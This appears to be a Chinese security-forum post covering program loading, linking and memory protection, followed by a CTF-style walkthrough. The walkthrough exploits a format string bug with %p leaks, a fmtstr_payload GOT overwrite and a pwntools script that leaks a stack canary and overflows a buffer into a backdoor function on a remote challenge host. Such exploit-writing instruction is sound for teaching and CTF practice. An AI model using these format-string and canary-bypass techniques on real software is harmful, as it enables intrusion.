电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 875 人浏览分享

浅析有关内存的一些trick

[复制链接]
875 0
0x0:前言

此篇文章对于内存的知识做了一定讲解 其中包含程序运行 链接 以及内存保护的方法。由此也引出了诸
多关于内存的安全问题。格式化字符串中如何运用%p来进行漏洞利用。

0x1:内存

内存用于存放数据的硬件 程序执行前先放到内存中才能被CPU处理。

32位操作系统 需要32个二进制位来表示:

100.JPG

进程运行原理——指令

写的代码要翻译成CPU能够识别的指令。
这些指令会操纵CPU应该去内存的哪个地方读/写数据。
在这个例子中,指令直接给出变量X的实际存放地址 但是在声称机器指令的时候不知道该进程
的数据会放到什么位置。所以编译生成的指令中一般使用的是逻辑地址。

99.JPG

装入的三种方式:

绝对装入:在编译时 如果知道程序将放到内存中的哪个位置 编译程序将产生绝对地址的目标代码
装入程序按照装入模块中的地址,将程序和数据装入内存。
静态重定位:编译、链接后的装入模块的地址都是从0开始,指令中使用的地址 数据存放的
地址都是相对于逻辑地址而言的根据内存的当前情况,将装入模块装入到内存的适当位置装
入时对地址进行重定位 将逻辑地址变换为物理地址。
动态重定位:动态运行时装入。编译 链接后的装入模块的地址从0开始,装入程序把装入模块
装入内存后 不会把逻辑地址改为物理地址。在程序要执行的时候,发生地址转换 装入内存后
的所有地址依然是逻辑地址。这种方式需要一个重定位寄存器。

采用动态重定位:允许程序在内存中发生移动。

98.JPG

链接的三种方式:

静态链接:程序运行之前 先将各个目标模块及他们所需要的库函数连接成一
个完整的可执行文件 之后不再拆开。
装入时动态链接:将各个目标模块装入内存时 边装入边链接的链接方式。
运行时动态链接:在程序执行中需要该目标模块时 才对它进行链接。
优点是:便于修改和更新,便于实现对目标模块的共享 .o文件可能不全链接

0x2:内存管理

操作系统对内存的管理:

1.操作系统负责内存空间的分配与回收
2.操作系统需要提供某种技术从逻辑上对内存空间进行扩充
3.提供地址转换功能,负责程序的逻辑地址与物理地址的转换\
4.提供内存保护 保证各个进程在各自存储空间内运行,互不干扰

内存保护的方法:

1.CPU设置上下限寄存器,存放地址的上下限地址。进程的指令访问某个地址时 CPU检查是否越界。

97.JPG

2.采用重定位寄存器和界地址寄存器。
重定位寄存器:存放进程的其实物理地址。
界地址寄存器:进程最大的逻辑地址。

0x3:溢出示例

96.JPG

ida把他打开 发现了奇怪的东西

95.JPG

这里说v3必须等于2,下面又说v3等于1

在这里我们就想到了格式化字符串漏洞

93.JPG

92.JPG

91.JPG

下断点,查看栈中的内容

90.JPG

%p是第一跳地址

%2$p是第二跳地址

89.JPG

我们以我是猪!做标记,发现41 偏移到链子的第6个

88.JPG

我们追溯到第六跳地址

87.JPG

86.JPG

解题思路:首先泄露buf地址

通过格式化字符串漏洞,传递%1$p 泄露偏移为1的内容 这个偏移为1的是什么内容呢?
是RSI的内容RSI记录了格式化字符串的地址,也就是buf的首地址。
64位程序传递前六个参数通过RDI、RSI、RDX、RCX、R8 R9传递 可以传递多个%p查看一下前五
个输出的是不是RSI、RDX、RCX、R8、R9寄存器中的内容。

另外在这里找到了后门函数:

83.JPG

格式化字符串漏洞是因为printf的输出完全由用户控制:

一个是通过%p(将参数以十六进制方式打印)来实现任意内存泄露。
64位前六个参数位于寄存器 第多少个%p是目的内存则可以通过栈帧进行计算 八位(0x8)为一个%p。
再就是通过%n(把输出字符的个数写入到地址中)来实现任意内存写入:

82.JPG

我们在这进行注入:

81.JPG

80.JPG

理解到是第六个字符串后,我们进行exp的编写:fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')

第一个参数表示格式化字符串的偏移;

第二个参数表示需要利用%n写入的数据,采用字典形式 我们要将printf的GOT数据改为system
函数地址 就写成{printfGOT: systemAddress};
第三个参数表示已经输出的字符个数 这里没有 为0,采用默认值即可;
第四个参数表示写入方式,是按字节(byte)按双字节(short)还是按四字节(int)对应着hhn
hn和n,默认值是byte  即按hhn写。
fmtstr_payload函数返回的就是payload:

69.JPG

这里的0x98是因为:

68.JPG

buf寄存器离着栈底有90h,再加上64位寄存器,8h,所以是98h:

66.JPG

65.JPG

我们利用python在select  your weapon 下断点,进行调试:
  1. from pwn import *
  2. context.log_level='debug'
  3. #io = remote()
  4. io = process('./2','b *0x0000000000400949')
  5. #在0x0000000000400949进行下断点
  6. gdb.attach (io)
  7. #进行gdb调试
  8. io.sendlineafter("Select your weapon",'2')
  9. #sendlineafter是在第一个参数后发送第二个参数
复制代码

第二种方法:

1.泄露野指针到 buf的距离 这个题是6跳。
2.我们需要计算的偏移:buf到ebp的距离,  所以野指针到ebp的距离就是野指针到buf的距离加上
buf到ebp的距离再减去8位 这样就得到了canary的地址,利用%23$p进行读取内容。
然后在通过buffer overflow覆盖返回地址:
  1. from pwn import *
  2. context.log_level='debug'
  3. #io = process("./2")
  4. io = remote('111.200.241.244',52636)
  5. io.sendline('2')
  6. #输入2,往下进行
  7. io.sendline('我是猪!%23$p')
  8. #这里是算出来的23位
  9. print(io.recvuntil('我是猪!'))
  10. #这里用我是猪!标志一下
  11. canary = int(io.recvuntil('\n'),16)
  12. #记录一下canary的内容
  13. print(canary)
  14. io.sendline('1')
  15. payload = (0x90-0x8)*b'A'+p64(canary)+b'我是猪!我是猪!'+p64(0x00000000004008DA)
  16. #这里就是计算距离,进行栈溢出,并且利用已有后门打远程
  17. io.sendline(payload)
  18. io.interactive()
复制代码

0x4:小结

操作系统是一个很庞大的知识体系 其中不仅包含到内存 同时也包含进程 I/O等一系列的问题
是诠释计算机如何运行的问题。基于此,操作系统中的内部结构是很复杂且精妙的 同时这也
造成了关于操作系统的安全问题。

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.